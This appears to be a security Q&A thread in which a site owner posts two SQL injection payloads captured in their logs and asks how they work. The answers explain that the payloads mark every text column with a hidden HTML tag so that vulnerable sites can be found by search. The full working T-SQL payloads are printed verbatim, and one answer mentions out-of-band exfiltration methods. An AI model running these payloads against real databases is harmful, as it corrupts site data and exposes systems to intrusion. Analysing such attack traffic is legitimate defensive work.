How does an SQL injection inject HTML?

Question

I've discovered two attempts at SQL injection in my webserver logs:

declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--

declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x'; 
exec(@q);
fetch next from @c into @a,@s;

end;
close @c--

This is how I imagine the attack works: The first attempt tries to inject the <div> element into the webpages HTML code with the tracking code. Then, a malicious user could easily search for the infected websites. The second try looks for the code in the DB and then tries to extract information from it (?).

I've also searched the web for this code and it looks like there are quite a lot of websites infected (about 200, mainly Chinese) and you could see the "breadcrumb code" in their source codes.

My questions are:

1. If the first injection injects the code into the DB, how does the HTML code "travel" from the DB to the actual HTML source code?
2. What is the attacker exactly trying to do with the second attempt? Add row/column values to the infected fields with UPDATETEXT and extract info in such a way?

Answer 1

Clever. I believe the idea is that it attempts to perform SQL injections against web pages targeted at SQL Server. The idea is that successful SQL injections can be discovered by determining if they propagate out to web pages. Any data / fields etc. that are leveraged by a web application or page will now display the unique string. They likely look for the string immediately (reflected), as well as scanning the application or site afterwards (stored SQL injections). One can even leverage your favorite search engine to find them (as you discovered). Commercial web scanners use a similar technique to tag injections.

The first script updates all the fields in the DB with a unique string (edf40wrjww2) wrapped by some HTML. The second script runs through all the fields updated by the first script and appends on specific information about the table and column that was compromised. Not sure why this is split into two scripts - it might be to reduce the injection length, or to make sure that the length of the column can at least fit the tag.

If you use SQL Server you may want to check your DB for this string.

Answer 2

1. The script writes the <div> tagged tablename:fieldname into a text field containing data he hopes will be displayed on the page. When the site is rendering the page, it's pulling the text from the database and putting it on the page to be displayed. The div tag is there to hide it; but not every HTML element displayed is permitted to contain a div tag which is why you might see the div tag in a site's title.

2. I think the first script is attempting to tag any suitably uninfected field that could be used to exfiltrate text (a recon pass). The second looks like it reports the exact tablename:fieldname containing the injected text. Or it's possible the first script wasn't doing exactly what the attacker wanted, and he tweaked it and made a second attempt.

Answer 3

The attacker is attempting into an out of band SQL Injections which are popularly possible on MS SQL Servers. Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server that an attacker controls, as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server that an attacker controls.

Few Taiwan sites & those application which are highly dependent on MS SQL Servers are vulnerable to Inferential & Out Of Band SQL Injection if Inferential doesn't work.

In order to do an out of band SQL Injection trails, an attacker would need to completely depend on pinging or making a DNS request & thereby injecting the payloads as if the payloads will then have it's result on out of the band channels such as a Collaborator Server.

There are rarely papers of MySQL Out Of band techniques but here is one: https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf

To answer your questions:

1. It does not make trials to extract the info by rendering, if that was possible, the attacker might not had made another try. In case of Inferential or error-based cases - the way works! But those trials failed which is why the attacker would go for out of band SQL Injection.
2. The attacker is trying to iterate until all the table details are extracted.